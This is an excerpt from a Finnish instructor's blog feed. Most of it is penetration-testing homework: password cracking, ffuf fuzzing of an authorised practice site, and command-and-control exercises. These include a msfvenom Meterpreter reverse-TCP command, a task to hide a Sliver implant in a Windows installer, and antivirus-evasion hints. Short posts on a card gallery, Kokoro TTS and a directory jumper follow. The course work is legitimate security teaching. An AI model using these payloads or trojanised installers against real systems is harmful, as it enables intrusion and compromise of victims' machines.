&lt;li&gt;Vapaaehtoinen: € Santos et al 2017: Security Penetration Testing - The Art of Hacking Series LiveLessons: &lt;a href=&quot;https://learning.oreilly.com/videos/security-penetration-testing/9780134833989/9780134833989-sptt_00_06_00_00&quot;&gt;Lesson 6: Hacking User Credentials&lt;/a&gt; (8 videos, about 30 min)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Asenna Hashcat ja testaa sen toiminta murtamalla esimerkkisalasana.&lt;/li&gt;
&lt;li&gt;c) Asenna John the Ripper ja testaa sen toiminta murtamalla jonkin esimerkkitiedoston salasana.&lt;/li&gt;
&lt;li&gt;e) Tiedosto. Tee itse tai etsi verkosta jokin salakirjoitettu tiedosto, jonka saat auki. Murra sen salaus. (Jokin muu formaatti kuin aiemmissa alakohdissa kokeilemasi).&lt;/li&gt;
&lt;li&gt;f) Tiiviste. Tee itse tai etsi verkosta salasanan tiiviste, jonka saat auki. Murra sen salaus. (Jokin muu formaatti kuin aiemmissa alakohdissa kokeilemasi. Voit esim. tehdä käyttäjän Linuxiin ja murtaa sen salasanan.)&lt;/li&gt;
&lt;li&gt;g) Sanakirja. Oman sanakirjan teko parantaa onnistumismahdollisuuksia. Demonstroi, kuinka teet oman sanakirjan hashcat:n tai john:iin.&lt;/li&gt;
&lt;li&gt;h) Hash rules. Näytä esimerkki HashCatin sääntöjen käytöstä (rules).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vinkit&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sanakirjan teko, vaihtoehtoja
&lt;ul&gt;
&lt;li&gt;cewl (verbose, limit depth)&lt;/li&gt;
&lt;li&gt;copy-paste, sanat erilleen, duplikaatit pois&lt;/li&gt;
&lt;li&gt;Elokuu2026!, Syyskuu2026!...&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Hashcatin säännöistä best64 on kokeilemisen arvoinen&lt;/li&gt;
&lt;li&gt;O&#39;Reilly Learning videot ja kirjat pääset lukemaan &lt;a href=&quot;https://libguides.haaga-helia.fi/az/databases&quot;&gt;ilmaiseksi HH tunnuksilla, kun kirjaudut kirjaston kautta&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h6-fuzzy-feeling-upon-finding&quot;&gt;h6 Fuzzy Feeling Upon Finding &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#h6-fuzzy-feeling-upon-finding&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Opit käyttämään maailman johtavaa weppifuzzeria: ffuf. Ja tunnilla sen opetti joohoi.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue/katso/kuuntele. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva kustakin artikkelista. Kannattaa lisätä myös jokin oma ajatus, idea, huomio tai kysymys. [Päivitys 2026-09-25 w39 Fri: laitoin Hoikkalan kalvot tähän mukaan, kun sain luvan.]
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/tunkeutumistestaus/hoikkala-2026-fuzzing-with-ffuf.pdf&quot;&gt;Hoikkala 2026: Fuzzing with Fuff&lt;/a&gt;, kalvot joohoin esityksestä kurssilta.&lt;/li&gt;
&lt;li&gt;Vapaaehtoista lisälukemistoa
&lt;ul&gt;
&lt;li&gt;Karvinen 2023: &lt;a href=&quot;https://terokarvinen.com/2023/fuzz-urls-find-hidden-directories/&quot;&gt;Find Hidden Web Directories - Fuzz URLs with ffuf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Hoikkala 2026: &lt;a href=&quot;https://github.com/ffuf/ffuf/blob/master/README.md&quot;&gt;ffuf README.md&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Hoikkala &quot;joohoi&quot; 2020: &lt;a href=&quot;https://www.youtube.com/watch?v=mbmsT3AhwWU&quot;&gt;Still Fuzzing Faster (U fool)&lt;/a&gt;. In HelSec Virtual meetup #1. (Noin tunnin mittainen)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Vaultline https://ffuf.io.fi/play
&lt;ul&gt;
&lt;li&gt;a) Tallenna itsellesi kopio säännöistä. Kirjoita omin sanoin,
&lt;ul&gt;
&lt;li&gt;Scope. Mikä on kohde?&lt;/li&gt;
&lt;li&gt;Rules of engagement. Mitä sille saa tehdä, eli mitä tai millaisia menetelmiä saa käyttää?&lt;/li&gt;
&lt;li&gt;Mihin oikeutesi tehdä tietoturvatestausta tähän kohteeseen perustuu?&lt;/li&gt;
&lt;li&gt;Riskit ja mitigointi. Tuo palvelin on Internetissä. Tunnista lyhyesti riskit ja niiden mitigointi ennen käytännön harjoittelua.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;b) Asenna ffuf versio, joka tukee aivan uutta preflight-ominaisuutta.&lt;/li&gt;
&lt;li&gt;c1) Content discovery (Vaultline https://ffuf.io.fi/play tehtävät on numeroitu näin, käytetään tässä samoja.).&lt;/li&gt;
&lt;li&gt;c2) The interesting non-200&lt;/li&gt;
&lt;li&gt;c3) Recursion&lt;/li&gt;
&lt;li&gt;c4) Virtual hosts&lt;/li&gt;
&lt;li&gt;c9) The login you cannot replay (Has preflight! Has CSRF token!)&lt;/li&gt;
&lt;li&gt;Vapaaehtoisena muut Vaultlinen tehtävät&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Vapaaehtoinen: mainosta kavereille &lt;a href=&quot;https://www.haaga-helia.fi/en/happy-hacking-day-2026&quot;&gt;Happy Hacking Day&lt;/a&gt;:ta! Linkkiä saa jakaa.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vinkit&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Koneiden fuzzaaminen vaati etukäteisen kirjallisen luvan. Testaamisen mikään osa ei saa kohdistua kohteen (scope) ulkopuolisiin palveluihin. Tässä harjoituksessa fuzzataan julkisen verkon yli vain joohoin https://ffuf.io.fi/play -sivua&lt;/li&gt;
&lt;li&gt;Preflight
&lt;ul&gt;
&lt;li&gt;Preflight avulla voit hyökätä CSRF-suojattuihin lomakkeisiin, vaikkapa renkuttaa salasanoja netin yli. Kiitos joohoi, tämä ominaisuus oli minun toiveeni!&lt;/li&gt;
&lt;li&gt;Vaultline: &quot;preflight shipped in ffuf v2.3.0. Older builds do not have the flag at all: ffuf -h|grep -c preflight should not print 0.&quot;&lt;/li&gt;
&lt;li&gt;Viimeisin versio löytyy ffuf:n Github-reposta. Releases-kohdasta saa valmiin binäärin.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;hx-koita-simpukoita&quot;&gt;hx Koita simpukoita &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#hx-koita-simpukoita&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Mitä kirjainta pitää painaa? Missä on &quot;any key&quot;? Nyt joudut itse hakemaan ohjeita verkosta työkalujen käyttöön, mikä tekee monesta kohdasta haastavamman.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Mikään tässä harjoituksessa tehty tai käytetty ohjelma ei saa olla itsestään leviävä (ei virus, ei mato).&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Useimmat tehtävät eivät edellytä haittaohjelman binäärin liittämistä raporttiin. Mikäli laitat binäärin verkkoon, pakkaa se salakirjoitettuun zip-pakettiin ja laita salasanaksi yleisen käytännön mukaan &quot;infected&quot;. Latauslinkin yhteydessä on oltava selkeä varoitus siitä, että kyseessä on haittaohjelma (malware), jota ei tule ajaa tuotantokoneilla. Salasanan voit halutessasi kertoa varoitusten yhteydessä.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a) Venom. Tee msfvenom-työkalulla haittaohjelma, joka soittaa kotiin (reverse shell). Ota yhteys vastaan metasploitin multi/handler -työkalulla.&lt;/li&gt;
&lt;li&gt;b) Snif venom! Tarkastele ja analysoi msfvenomin muodostamaa reverse shell -yhteyttä. Käytä snifferiä, kuten Wireshark. Mitä havaitset? Mistä ominaisuuksista yhteyden voi tunnistaa? Millä muutoksilla tunnistamista voi vaikeuttaa?&lt;/li&gt;
&lt;li&gt;c) Hello, Sliver. Näytä esimerkki http-yhteydestä Sliverillä.&lt;/li&gt;
&lt;li&gt;d) Sniff Sliver! Tarkastele Sliverin http-yhteyttä snifferillä. Mitä havaitset? Mistä ominaisuuksista yhteyden voi tunnistaa?&lt;/li&gt;
&lt;li&gt;e) Sliverillä voit muuttaa yhteyden ominaisuuksia. Kokeile ja näytä esimerkki. Muista todeta testein, että muutokset toimivat.&lt;/li&gt;
&lt;li&gt;f) Sliverillä voi tehdä monenlaista kohteessa, ruutukaappauksista alkaen. Näytä esimerkkejä toiminnoista.&lt;/li&gt;
&lt;li&gt;g) Vapaaehtoinen: Kokeile Sliver-binääriä Windowsissa.&lt;/li&gt;
&lt;li&gt;h) Vapaaehtoinen: Tee Windows-asennusohjelma, joka asentaa jonkin tavallisen ohjelman ja sen yhteydessä Sliver-haitakkeen.&lt;/li&gt;
&lt;li&gt;i) Vapaaehtoinen: Kokeile Veil.&lt;/li&gt;
&lt;li&gt;j) Vapaaehtoinen: Kokeile ScareCrow.&lt;/li&gt;
&lt;li&gt;k) Vapaaehtoinen: Tee PoshC2-työkalulla haittaohjelma, joka soittaa kotiin.&lt;/li&gt;
&lt;li&gt;l) Vapaaehtoinen: Tee Mythic-työkalulla haittaohjelma, joka soittaa kotiin.&lt;/li&gt;
&lt;li&gt;m) Vapaaehtoinen: Asenna Windows-virtuaalikone ja tee kotiin soittava haittaohjelma siihen. Itse tykkään Linuxista ja käytän paljon sitä, tässä hieman vaihtelua. Windows-käyttäjät ovat myös usein tottuneet (paketinhallinnan puutteessa) lataamaan ohjelmia weppisivuilta.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vinkit&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Irrota tarvittasessa koneet netistä testien ajaksi.&lt;/li&gt;
&lt;li&gt;Metasploit msfconsole multi/handler
&lt;ul&gt;
&lt;li&gt;laita samat asetukset kuin msfvenom&lt;/li&gt;
&lt;li&gt;muista &#39;set payload&#39;&lt;/li&gt;
&lt;li&gt;&#39;run -j&#39; ajaa taustalla, sessiot ovat &#39;sessions&#39;&lt;/li&gt;
&lt;li&gt;prosessoriarkkitehtuuri kohteen mukaan&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Reverse shell:
&lt;ul&gt;
&lt;li&gt;Palvelimen päässä pitää olla reikä tulimuurissa.&lt;/li&gt;
&lt;li&gt;Reverse shell tarkoittaa, että palvelin (server, kuunteleva portti) on hyökkäyskoneella.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Sliveriin kannattaa tarvittaessa hakea ohjeita myös tekoälyllä. Vielä joitakin kuukausia sitten Sliverin omissa ohjeissa oli ärsyttäviä virheitä - toivottavasti ne on jo korjattu.&lt;/li&gt;
&lt;li&gt;Jos liität haittaohjelmien binäärejä raporttiin, pitää estää niiden asentaminen vahingossa
&lt;ul&gt;
&lt;li&gt;Salakirjoitettu zip-paketti, salasana &quot;infected&quot;&lt;/li&gt;
&lt;li&gt;Varoitus lautauslinkin yhteyteen: haittaohjelma / malware&lt;/li&gt;
&lt;li&gt;Jos testaat eristetyissä laboratorioympäristöissä virustorjunnan ohitusta, niin tietysti siinä käytetään vain sisältöä ja vältetään pahoja sanoja &quot;malware&quot;, &quot;infected&quot;, &quot;meterpreter&quot;...&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Muista ht8 lipunryöstöä aloittelijoille&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Esimerkki ulkomuistista, pitää itse soveltaa&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;msfvenom&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;p&lt;/span&gt; linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8080&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;o&lt;/span&gt; infected&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;lippuvalmistelu&quot;&gt;Lippuvalmistelu &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#lippuvalmistelu&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Lippuvalmistelu. Valmistele kone ensi viikon lipunryöstöön. Tästä kohdasta ei tarvita kattavaa raporttia, riittää pelkkä luettelo siitä, miten ratkaisit allaolevat kysymykset. Jos sinulla on esimerkiksi valmis, toimiva Kali VM tavallisella PC:llä, tässä ei tarvitse tehdä juuri mitään.
&lt;ul&gt;
&lt;li&gt;amd64. Haasteet voivat sisältää amd64-binäärejä. Nämä toimivat itsestään perus-PC:ssä, joita lähes kaikkien koneet ovat. Macintosheissa (M1, M2, M3...) hankala tehdä tehtävää, joten kannattaa ottaa tavallinen amd64-kone.&lt;/li&gt;
&lt;li&gt;Netti. Koneesta pitää päästä nettiin, jotta voit palauttaa liput. Voi olla kätevää, että saat nettiyhteyden katkaistuksi, jotta porttiskannailu ym. on huoletonta.&lt;/li&gt;
&lt;li&gt;Too many secrets. Opettaja voi tarkastaa lipunryöstön koneesi ja tutkia kaikkia siellä olevia tiedostoja. Jos käytät pelkästään virtuaalikonetta (myös selailu, muistiinpanot ym virtuaalikoneesta), tarkastaminen koskee vain sitä. Katso, ettei tällä koneella ole luottamuksellisia tietoja.&lt;/li&gt;
&lt;li&gt;Koneella saa olla haluamasi ohjelmat ja työkalut. Työkaluista ja ohjelmista pitää antaa opettajalle kopio, jos ne eivät ole yleisesti käytettyjä, tunnettuja ja saatavilla olevia vapaita ohjelmia.&lt;/li&gt;
&lt;li&gt;Jos lipunryöstön koneella on muistiinpanoja, niistä on annettava kopio opettajalle sähköpostilla. Omia muistiinpanoja saa olla, mutta ei ole pakko. Lipunryöstössä saa lukea julkisia lähteitä, kuten opettajan kotisivuja sekä omia ja toisten julkisia raportteja.&lt;/li&gt;
&lt;li&gt;Paikallinen tekoäly. Omaa tekoälyä ei tarvita lipunryöstössä, eikä siitä todennäköisesti ole juuri hyötyä. Mutta siltä varalta, että joku miettii tätä: Paikallisen tekoälyn käyttö lipunryöstössä on sallittu, jos ilmoittaa Terolle etukäteen sähköpostilla siitä, antaa opettajalle sähköpostitse täydellisen kopion keskustelusta tekoälyn kanssa ja kaikki paramaterit, sekä kopion tekoälyn koodista ja painoista tai linkin niihin. Ulkopuolisen tekoälyn käyttö verkon yli on lipunryöstössä kielletty.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h8-bonus&quot;&gt;h8 Bonus &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#h8-bonus&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Vapaaehtoinen bonus: luettele ja linkitä tähän tekemäsi&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a) Vapaaehtoiset tehtävät&lt;/li&gt;
&lt;li&gt;b) Ristiinarvioinnin jälkeen olennaisesti parannetut tehtävät&lt;/li&gt;
&lt;li&gt;c) Kurssin ulkopuolella tekemäsi kiinnostavat hakkerointihaasteet, esimerkiksi
&lt;ul&gt;
&lt;li&gt;Projektit&lt;/li&gt;
&lt;li&gt;HackTheBox korkatut koneet, mukaan ruutukaappaus pistesivustasi. Erottele retired ja non-retired. (Ei non-retired boksien läpikävelyohjeita julkiseen weppiin)&lt;/li&gt;
&lt;li&gt;Lipunryöstöt&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tehtävän määräaika on 24 h ennen viimeisen opetuskerran alkua. Tämä bonustehtävä on kokonaan vapaaehtoinen.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Onnea lipunryöstöön!&lt;/em&gt;&lt;/p&gt;
</content>
  </entry>

  <entry>
    <title>Card Size Gallery</title>
    <link href="https://terokarvinen.com/card-size-gallery/"/>
    <id>https://terokarvinen.com/card-size-gallery/</id>
    <published>2026-08-03T20:22:00+03:00</published>
    <updated>2026-08-03T20:22:00+03:00</updated>
    <content type="html">&lt;p&gt;List of products is often shown as images on a grid. This pattern is called &quot;cards&quot;.&lt;/p&gt;
&lt;p&gt;Card Size Gallery allows you to test what different card formats look like.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/card-size-gallery/card-sizes-grid.html&quot;&gt;Try Card Size Gallery&lt;/a&gt; - right in your browser.&lt;/p&gt;
&lt;p&gt;Clanker warning: I created this AI-assisted.&lt;/p&gt;
&lt;figure&gt;
&lt;a href=&quot;https://terokarvinen.com/card-size-gallery/card-sizes-grid.html&quot;&gt;&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/card-size-gallery/Test-card-sizes-grid-of-images.w480.h9d65dd3d.avif 480w, https://terokarvinen.com/card-size-gallery/Test-card-sizes-grid-of-images.w800.h9d65dd3d.avif 800w, https://terokarvinen.com/card-size-gallery/Test-card-sizes-grid-of-images.w1109.h9d65dd3d.avif 1109w&quot; sizes=&quot;(max-width: 50em) 100vw, 50em&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/card-size-gallery/Test-card-sizes-grid-of-images.w800.h9d65dd3d.png&quot; srcset=&quot;https://terokarvinen.com/card-size-gallery/Test-card-sizes-grid-of-images.w800.h9d65dd3d.png 800w, https://terokarvinen.com/card-size-gallery/Test-card-sizes-grid-of-images.w1109.h9d65dd3d.png 1109w&quot; sizes=&quot;(max-width: 50em) 100vw, 50em&quot; width=&quot;800&quot; height=&quot;877&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;&lt;/a&gt;
&lt;/figure&gt;

</content>
  </entry>

  <entry>
    <title>Kokoro TTS - Voice Comparison</title>
    <link href="https://terokarvinen.com/kokoro-foss-tts-voice-comparison/"/>
    <id>https://terokarvinen.com/kokoro-foss-tts-voice-comparison/</id>
    <published>2026-07-08T17:10:00+03:00</published>
    <updated>2026-07-08T17:10:00+03:00</updated>
    <content type="html">&lt;p&gt;Free, open weight models can generate speech. On your local machine.&lt;/p&gt;
&lt;p&gt;Listen to &lt;a href=&quot;https://terokarvinen.com/kokoro-voice-comparison/&quot;&gt;voice samples of all Kokoro TTS voices&lt;/a&gt; on the web.&lt;/p&gt;
&lt;p&gt;Optionally, install Kokoro with Podman.&lt;/p&gt;
&lt;h2 id=&quot;listen-and-compare-voices-in-your-browser&quot;&gt;Listen and Compare Voices in Your Browser &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/kokoro-foss-tts-voice-comparison/#listen-and-compare-voices-in-your-browser&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/kokoro-foss-tts-voice-comparison/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Search and filter by gender and language. The demo text is currently only in English.&lt;/p&gt;
&lt;p&gt;Kokoro is a free text-to-speech engine, architected by Li, Han, Raghavan, Mischler and Mesgarani; and trained by @rzvnzn. I just created the samples and the page to filter them. Their default flagship voice is af_heart (English, female), but there are many other interesting voices.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/kokoro-voice-comparison/&quot;&gt;Listen Kokoro samples now&lt;/a&gt;.&lt;/p&gt;
&lt;figure style=&quot;max-width: 700px&quot;&gt;
&lt;a href=&quot;https://terokarvinen.com/kokoro-voice-comparison/&quot;&gt;&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/kokoro-foss-tts-voice-comparison/kokoro-tts-foss-voice-comparison-samples-english-female.w480.h596f3183.avif 480w, https://terokarvinen.com/kokoro-foss-tts-voice-comparison/kokoro-tts-foss-voice-comparison-samples-english-female.w700.h596f3183.avif 700w&quot; sizes=&quot;(max-width: 700px) 100vw, 700px&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/kokoro-foss-tts-voice-comparison/kokoro-tts-foss-voice-comparison-samples-english-female.w700.h596f3183.png&quot; srcset=&quot;https://terokarvinen.com/kokoro-foss-tts-voice-comparison/kokoro-tts-foss-voice-comparison-samples-english-female.w700.h596f3183.png 700w&quot; sizes=&quot;(max-width: 700px) 100vw, 700px&quot; width=&quot;700&quot; height=&quot;431&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;&lt;/a&gt;
&lt;figcaption&gt;Kokoro-82M voice comparison: English female voices, with grades&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h2 id=&quot;run-kokoro-with-podman&quot;&gt;Run Kokoro with Podman &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/kokoro-foss-tts-voice-comparison/#run-kokoro-with-podman&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/kokoro-foss-tts-voice-comparison/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;These commands assume you already have Podman installed. Podman runs containers like Docker. It&#39;s safer than Docker, as it does not require root (or the infamous root-equivalent docker group).&lt;/p&gt;
&lt;p&gt;Let&#39;s download and run Brauns ready-made Kokoro container:&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;podman&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; run&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;p&lt;/span&gt; 8880:8880 ghcr.io/remsky/kokoro-fastapi-cpu&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Web user interface: &lt;a href=&quot;http://localhost:8880/web/&quot;&gt;http://localhost:8880/web/&lt;/a&gt;&lt;/p&gt;
&lt;figure style=&quot;max-width: 700px&quot;&gt;
&lt;a href=&quot;https://terokarvinen.com/kokoro-foss-tts-voice-comparison/fast-kokoro-web.w700.h506b7cfb.jpg&quot; class=&quot;lightbox&quot;&gt;&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/kokoro-foss-tts-voice-comparison/fast-kokoro-web.w480.h506b7cfb.avif 480w, https://terokarvinen.com/kokoro-foss-tts-voice-comparison/fast-kokoro-web.w700.h506b7cfb.avif 700w&quot; sizes=&quot;(max-width: 700px) 100vw, 700px&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/kokoro-foss-tts-voice-comparison/fast-kokoro-web.w700.h506b7cfb.jpg&quot; srcset=&quot;https://terokarvinen.com/kokoro-foss-tts-voice-comparison/fast-kokoro-web.w700.h506b7cfb.jpg 700w&quot; sizes=&quot;(max-width: 700px) 100vw, 700px&quot; width=&quot;700&quot; height=&quot;445&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;&lt;/a&gt;
&lt;figcaption&gt;FastKoko, a web interface for Kokoro text to speech&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;API, usable with Python requests http://localhost:8880/v1&lt;/p&gt;
&lt;h2 id=&quot;see-also&quot;&gt;See also &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/kokoro-foss-tts-voice-comparison/#see-also&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/kokoro-foss-tts-voice-comparison/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Hacker News 2026: &lt;a href=&quot;https://news.ycombinator.com/item?id=48821576&quot;&gt;Local, CPU-Friendly, High-Quality TTS (Text-to-Speech) with Kokoro&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Li, Han, Raghavan, Mischler and Mesgarani, @rzvnzn 2026: &lt;a href=&quot;https://huggingface.co/hexgrad/Kokoro-82M&quot;&gt;hexgrad/Kokoro-82M on HuggingFace&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Braun 2026: &lt;a href=&quot;https://github.com/remsky/Kokoro-FastAPI&quot;&gt;remsky / Kokoro-FastAPI on Github&lt;/a&gt;&lt;/p&gt;
</content>
  </entry>

  <entry>
    <title>cdu - Jump up to project directory</title>
    <link href="https://terokarvinen.com/cdu-change-dir-up-to-project-dir/"/>
    <id>https://terokarvinen.com/cdu-change-dir-up-to-project-dir/</id>
    <published>2026-07-06T11:58:00+03:00</published>
    <updated>2026-07-06T11:58:00+03:00</updated>
    <content type="html">&lt;p&gt;You&#39;re five levels deep in your git repo. You would like to get to the top level. &#39;cdu&#39;.&lt;/p&gt;
&lt;p&gt;An up only directory jumper for zsh and bash. Nicely complements other directory jumpers, like zoxide, autojump or fasd.&lt;/p&gt;
&lt;h2 id=&quot;usage-example&quot;&gt;Usage example &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/cdu-change-dir-up-to-project-dir/#usage-example&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/cdu-change-dir-up-to-project-dir/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-support hl-function hl-pwd hl-shell&quot;&gt;pwd&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; &lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;/home/tero/code/revincom/doc/design/subsystems/nav/fallbacks/sun&lt;/span&gt;
&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;cdu&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;/home/tero/code/revincom&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;Found .git&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you have really deep repos, such as monorepos, cdu can help you even more.&lt;/p&gt;
&lt;p&gt;Deep in a Django project, cdu jumps to manage.py level first. The next cdu will take you to repo root.&lt;/p&gt;
